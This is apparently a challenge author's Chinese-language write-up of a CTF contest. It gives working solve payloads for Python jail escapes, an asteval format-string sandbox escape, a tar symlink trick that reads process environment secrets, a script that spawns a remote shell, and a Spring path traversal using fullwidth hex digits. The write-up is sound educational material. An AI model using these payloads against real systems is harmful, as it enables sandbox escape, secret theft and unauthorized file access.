Before allh2
雖然這是辦給新手的比賽,但現在 AI/LLM 發展實在是太快了,也就導致許多題目很多參賽者都沒看就直接給 AI 做,我還是希望有能力的各位可以動手解解看XD,希望這次在 THJCC 出的題目大家可以喜歡~
Welcomeh2
- solve: 149/315
好像有人反映這題出的不太好,作為簽到題我覺得難度應該沒有很難,如果直接丟給 AI 的話八成會卡一陣子。
題目只給你一個 gif,我們知道 gif 是多張圖片連續播放,形成無限循環的動態短片,所以到網路上 google 一下不難找到一些 gif 分解的網站,隨便找一個都可以,然後可以得到 https://welcome.xzhiyouu.idv.tw;pass_code:NT9C-S8DP-D85B-Z8H6,進到網站裡把 passcode 複製貼上就可以拿到 https://pastebin.com/DUxM02Gp ,進去就有flag了。

Misch2
67jailh3
- solve: 124/315
題目檔案如下
#!/usr/bin/env python3import unicodedatabanned = {"print": print, "open": open, "chr": chr}
s = input(">> ")
if len(s) != 6767: exit("wrong length :(")
if any(c in s for c in "'\"_`\\#"): exit("that's not good :(")
if any(c.isascii() and c.isalnum() for c in s): exit("no no no!!!")
if s.count(";") > 1: exit("too many semicolons!")
for c in s: if c.isidentifier() and unicodedata.normalize("NFKC", c) == c: exit("bad:(((")
exec(s, {"__builtins__": banned}, {})給了一個允許名單(我變數打成banned),我們能用的就是print、open、chr,接著有五個 if 檢查:
- 輸入長度必須為 6767
- 輸入不能出現任何
'、"、_、\、#中任一者 - 輸入內不能有 ASCII 英文字母和數字
- 分號最多一個
- 輸入中不能出現合法且經 NFKC 正規化後不變的 Python 識別符字元
先看第五點檢查,我們要找到NFKC 後不變的字元,不難想到可以用全形繞過。
>>> 'p'.isidentifier()True>>> unicodedata.normalize("NFKC", 'p') == 'p'False接著看第三點,輸入中不能有 ASCII 英文字母和數字,可以想到在 Python 裡面 True 就是 1,所以可以用 ()==() 、[]==[]、{}=={} 代表 1,以上三種都可以使用。
那要怎麼造出其他數字呢?我們利用 Python 的特性:
t=()==() # t = 1接著用 << 可以造出二次方,一樣用 t 當變數,例如:
t<<t # 2t<<t<<t # 4t<<t<<t<<t # 8以此類推,結合加法就可以造出任意數字。
我們的目標是組出 print(open('/flag').read()),因此可以寫個簡單的腳本生 payload,把以上資訊結合後,補空白到長度 6767 即可。
payload.py
#!/usr/bin/env python3def z(s): return ''.join(chr(ord(c) + 0xFEE0) if c.isalpha() else c for c in s)
t = z('t')
def num(n): r, i = [], 0 while n: if n & 1: r.append('(' + '<<'.join([t] * (i + 1)) + ')') n >>= 1 i += 1 return '+'.join(r)
def ch(c): return z('chr') + '(' + num(ord(c)) + ')'
payload = t + '=()==();'payload += z('print') + '('payload += z('open') + '(' + '+'.join(ch(c) for c in '/flag') + ').' + z('read') + '())'payload += ' ' * (6767 - len(payload))print(payload)另外表揚一下 R3X DJ 寫的很詳細XD
Time Machineh3
- solve: 49/315
這題沒給 source,可以看到這是一個可以上傳 .zip / .tar / .tar.gz / .tgz / .tar.bz2 / .tar.xz 的系統,然後 Snapshot 把你上傳的所有東西打包成 snapshot.zip 下載。
題目有說後端是用 Python 的 shutil,原始碼在這 (source)。
shutil.unpack_archive() 會依副檔名查 _UNPACK_FORMATS,決定要交給誰處理:
_UNPACK_FORMATS = { 'tar': (['.tar'], _unpack_tarfile, [], "uncompressed tar file"), 'zip': (['.zip'], _unpack_zipfile, [], "ZIP file"),}也就是說 zip 走 _unpack_zipfile,tar 走 _unpack_tarfile,先看看 zip 他是怎麼寫的:
def _unpack_zipfile(filename, extract_dir): """Unpack zip `filename` to `extract_dir`""" import zipfile # late import for breaking circular dependency
if not zipfile.is_zipfile(filename): raise ReadError("%s is not a zip file" % filename)
with zipfile.ZipFile(filename) as zip: zip._ignore_invalid_names = True zip.extractall(extract_dir)tar 如下:
def _unpack_tarfile(filename, extract_dir, *, filter=None): """Unpack tar/tar.gz/tar.bz2/tar.xz `filename` to `extract_dir`""" import tarfile # late import for breaking circular dependency try: tarobj = tarfile.open(filename) except tarfile.TarError: raise ReadError( "%s is not a compressed or uncompressed tar file" % filename) try: tarobj.extractall(extract_dir, filter=filter) finally: tarobj.close()可以發現 _unpack_zipfile() 擋掉 / 開頭和 ..,而且都是 open(targetpath, 'wb') + copyfileobj 寫成普通檔案,接著看到 tar,會發現沒有任何名字檢查,而且filter=None,因此我們可以利用 tar 去 symlink 任何 file。
這題的 flag 在環境變數裡面,我們可以用簡單的 linux 指令就完成這題。
ln -s /proc/self/environ test.txttar -cf solve.tar test.txt
接著把 solve.tar 傳上去再 snapshot 下來就可以看到 flag 了。
SO EZ MISCh3
- solve: 26/315
首先連上去看看,會發現是一個 calculator,隨便送一個非 UTF-8 看報錯:
printf '\xfe\n' | nc HOST PORT結果:
calc> Traceback (most recent call last): File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 277, in parse out = ast.parse(text) File "/usr/local/lib/python3.13/ast.py", line 50, in parse return compile(source, filename, mode, flags, _feature_version=feature_version, optimize=optimize)UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed
During handling of the above exception, another exception occurred:
Traceback (most recent call last): File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 354, in eval node = self.parse(expr) File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 281, in parse self.raise_exception(None, exc=RuntimeError, expr=text) ~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 264, in raise_exception raise exc(self.error_msg)RuntimeError
During handling of the above exception, another exception occurred:
Traceback (most recent call last): File "/srv/server.py", line 130, in <module> main() ~~~~^^ File "/srv/server.py", line 126, in main print(evaluate(interp, line), flush=True) ~~~~~~~~^^^^^^^^^^^^^^ File "/srv/server.py", line 107, in evaluate result = interp(src, raise_errors=False) File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 344, in __call__ return self.eval(expr, **kw) ~~~~~~~~~^^^^^^^^^^^^ File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 363, in eval print(errmsg, file=self.err_writer) ~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed總之可以發現他是 Python 的 asteval,然後 Python 版本是 3.13,去翻一下原始碼(source),然後發現 asteval 這個 lib 有一個 CVE,重點在最後:
def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec') "formatting used in f-strings" val = self.run(node.value) fstring_converters = {115: str, 114: repr, 97: ascii} if node.conversion in fstring_converters: val = fstring_converters[node.conversion](val) fmt = '{__fstring__}' if node.format_spec is not None: fmt = f'{{__fstring__:{self.run(node.format_spec)}}}' return safe_format(fmt, self.raise_exception, node, __fstring__=val)根據題目說 The bug has no patch,所以直接照 advisory 的 PoC 打是不會過的,因為那份 PoC 在 1.0.6 就被擋掉了,而目前題目跑的是 1.0.9。去比對一下現在的 on_formattedvalue,會發現最後一行被換掉了:
return fmt.format(__fstring__=val)
# 1.0.9return safe_format(fmt, self.raise_exception, node, __fstring__=val)1.0.9 只是把原本 fmt.format 改成自己的 safe_format,format_spec 還是先被 self.run() 求值成字串,再用 f-string 字串串接拼回模板裡。
那 SafeFormatter 到底擋了什麼?我們回原始碼繼續看:
class SafeFormatter(Formatter): def __init__(self, raise_exc, node): self.raise_exc = raise_exc self.node = node super().__init__()
def get_field(self, field_name, args, kwargs): first, rest = formatter_field_name_split(field_name) obj = self.get_value(first, args, kwargs) for is_attr, i in rest: if is_attr: obj = safe_getattr(obj, i, self.raise_exc, self.node) else: obj = obj[i] return obj, first跟去看 safe_getattr:
def safe_getattr(obj, attr, raise_exc, node, allow_unsafe_modules=False): """safe version of getattr""" unsafe = (attr in UNSAFE_ATTRS or (attr.startswith('__') and attr.endswith('__'))) if not unsafe: for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items(): unsafe = (isinstance(obj, dtype) or obj is dtype) and attr in attrlist if unsafe: break if not unsafe and not allow_unsafe_modules: for mod in UNSAFE_MODULES: unsafe = obj is mod or getattr(obj, attr) is mod if unsafe: break if unsafe: msg = f"no safe attribute '{attr}' for {repr(obj)}" raise_exc(node, exc=AttributeError, msg=msg) else: return getattr(obj, attr, None)發現他只擋了 __,但任意物件走訪還能進行,連上題目看看:
calc> WBWorkbook(name='Q3-Financials', sheets={'summary': Sheet(title='Summary', owner=User(name='guest', role='viewer', session=Session(id='sess-0000', token=<Secret value=***REDACTED***>)), cells={'A1': 42, 'A2': 1337}), 'audit': Sheet(title='Audit Trail', owner=User(name='auditor', role='root', session=Session(id='sess-c0ffee', token=<Secret value=***REDACTED***>)), cells={'A1': 0})})我們的目標是拿到 WB.sheets["audit"].owner.session.token.value,送過去後發現 error: banned character '[',我們不難想到可以用 chr() 去繞過,payload 構造大概長這樣 f"{WB:SPEC}",其中 SPEC 為 '}{__fstring__.sheets[audit].owner.session.token.value',最後拼起來得到 {__fstring__:}{__fstring__.sheets[audit].owner.session.token.value},得最終 payload f"{WB:{'}{__fstring__.sheets[audit].owner.session.token.value'}}",一些被 ban 的字元轉 chr(),得到f"{WB:{"}{"+chr(95)*2+"fstring"+chr(95)*2+".sheets"+chr(91)+"audit"+chr(93)+".owner.session.token.value"}}"
CTFxckh3
- solve: 14/315
也是一題 jail 題型,題目給了以下資訊:
- server 跑的是 ctfuck interpreter
- 送一段 CTFuck 程式過去,最後一行 EOF
- 它印出來的東西 server 會 exec()
關於 CTFuck 可以參考這裡:https://esolangs.org/wiki/CTFuck
題目我有設定輸入長度不能超過 110,也就是說 wiki 上面的例子沒啥參考性,這裡我有兩個選擇,第一是 breakpoint(),第二是 exec(input()),這樣問題就變成怎麼用最少的 CTFuck 字元印出 12~13 個 byte?
先看 wiki 的寫法。印一個 byte 的直覺做法是 push 8 個 bit,再一個一個走訪:
01001000.$.$.$.$.$.$.$.$8 + 1 + 16 = 25 個字元才印一個 byte,這樣沒辦法把 payload 壓到 110 以下,所以我們應該回去看 interpreter,有一點可以注意一下,queue 空的時候執行 $ . : [a|b],整個程式就結束,所以不用一個一個 bit 去走訪,直接把整個 payload 的 bit 全部 push 進 queue,然後排乾就可以,大概長這樣:
<payload 的 bits>.$[2|2]. 印 front 但不會 pop,所以要接 $。[2|2] 不管 0 還 1 都跳回第二行,無限迴圈,queue 空了就自己停。
- solve script
#!/usr/bin/env python3from pwn import *
def compile(payload): bits = "" for c in payload: for i in range(8): bits += str(c >> i & 1) return bits.rstrip("0") + "\n.$[2|2]"
src = compile(b"exec(input())")
io = remote(HOST, PORT)io.sendlineafter(b">>> ", src.encode() + b"\nEOF")io.sendline(b"import os;os.system('/bin/sh')")io.interactive()Shifting…v2?h3
- solve: 3/315
上次的 writeup: https://hackmd.io/@xzhiyouu/THJCC-2026 基本上是一樣的做法,之後可以得到一個 pastebin 連結 https://pastebin.com/D15r3g ,很多人在這裡就卡關了,如果自己創一個 pastebin 看看的話,會發現其實連結後面的 code 應該要有八個字元,所以寫個 script 去爆破一下就好,最後可以得到 https://pastebin.com/D15r3grG ,打開就是 flag。
Webh2
SimpleNotesh3
- solve: 21/315
Web 黑箱題,進去之後會發現是一個 note app,目標是讀 /flag,所以很明顯是 path traversal,這邊直接用原始碼解釋:
- NoteController.java
package tw.thjcc.simplenotes;
import org.springframework.http.MediaType;import org.springframework.http.ResponseEntity;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;
import java.io.File;import java.io.IOException;import java.net.URLDecoder;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.util.ArrayList;import java.util.Collections;import java.util.List;
@RestControllerpublic class NoteController {
private static final File NOTE_DIR = new File("/app/notes");
@GetMapping(value = "/api/notes", produces = MediaType.APPLICATION_JSON_VALUE) public List<String> list() { File[] files = NOTE_DIR.listFiles(File::isFile); if (files == null) { return Collections.emptyList(); } List<String> names = new ArrayList<>(); for (File f : files) { names.add(f.getName()); } Collections.sort(names); return names; }
@GetMapping(value = "/api/read", produces = MediaType.TEXT_PLAIN_VALUE + ";charset=UTF-8") public ResponseEntity<String> read(@RequestParam("f") String f) throws IOException { String name = URLDecoder.decode(f, StandardCharsets.UTF_8);
File target = new File(NOTE_DIR, name); if (!target.isFile()) { return ResponseEntity.status(404).body("note not found: " + name); }
byte[] data = Files.readAllBytes(target.toPath()); return ResponseEntity.ok(new String(data, StandardCharsets.UTF_8)); }}- PathGuardFilter.java
package tw.thjcc.simplenotes;
import jakarta.servlet.Filter;import jakarta.servlet.FilterChain;import jakarta.servlet.ServletException;import jakarta.servlet.ServletRequest;import jakarta.servlet.ServletResponse;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;import org.springframework.boot.web.servlet.FilterRegistrationBean;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;
import java.io.IOException;import java.nio.charset.StandardCharsets;import java.util.regex.Pattern;
public class PathGuardFilter implements Filter {
private static final Pattern[] RULES = { Pattern.compile("\\.\\."), Pattern.compile("(?i)%2e"), Pattern.compile("(?i)%2f"), Pattern.compile("(?i)%5c"), Pattern.compile("\\\\"), Pattern.compile("^/"), Pattern.compile("\\x00") };
@Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
if (rejected(request.getQueryString())) { block((HttpServletResponse) res); return; } for (String[] values : request.getParameterMap().values()) { for (String value : values) { if (rejected(value)) { block((HttpServletResponse) res); return; } } }
chain.doFilter(req, res); }
private boolean rejected(String input) { if (input == null || input.isEmpty()) { return false; } for (Pattern rule : RULES) { if (rule.matcher(input).find()) { return true; } } return false; }
private void block(HttpServletResponse response) throws IOException { response.setStatus(HttpServletResponse.SC_FORBIDDEN); response.setContentType("text/plain;charset=UTF-8"); response.setCharacterEncoding(StandardCharsets.UTF_8.name()); response.getWriter().write("u are blocked XD"); }
@Configuration public static class Registration { @Bean public FilterRegistrationBean<PathGuardFilter> pathGuard() { FilterRegistrationBean<PathGuardFilter> bean = new FilterRegistrationBean<>(); bean.setFilter(new PathGuardFilter()); bean.addUrlPatterns("/api/*"); bean.setOrder(1); return bean; } }}我們仔細看看 NoteController.java 第 39 行:
String name = URLDecoder.decode(f, StandardCharsets.UTF_8);filter 檢查的是 Tomcat 解完的參數值,controller 拿到之後又自己解了一次,兩邊看到的字串其實不一樣。所以只要找一個 filter 的 regex 看不出來是 ../、但 URLDecoder 解得出來的寫法就 ok。
翻一下 JDK 17 的 URLDecoder.decode(),處理 % 的迴圈長這樣(source):
while ( ((i+2) < numChars) && (c=='%')) { int v = Integer.parseInt(s, i + 1, i + 3, 16); if (v < 0) throw new IllegalArgumentException(...); bytes[pos++] = (byte) v; i += 3; if (i < numChars) c = s.charAt(i);}ps. 這題用的是舊版,新的已經修掉了(link)
重點是 Integer.parseInt(s, i+1, i+3, 16),他用 Character.digit(),去翻 javadoc會發現他收的是 Unicode 的十進位數字跟拉丁字母,不是只有 ASCII,比如說:
Character.digit('2', 16) == 2 // U+FF12Character.digit('e', 16) == 14 // U+FF45所以 URLDecoder.decode("%2e") 會解成 .,而 payload 就是把 hex 換成全形,% 要留半形,像這樣:
%2e%2e%2f%2e%2e%2fflag.txt打 api:
curl 'http://chal.thjcc.org:12024/api/read?f=%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86flag.txt'這題的靈感是來自 black hat Asia 2026(資料),某天在找資料的時候剛好看到的。
Comments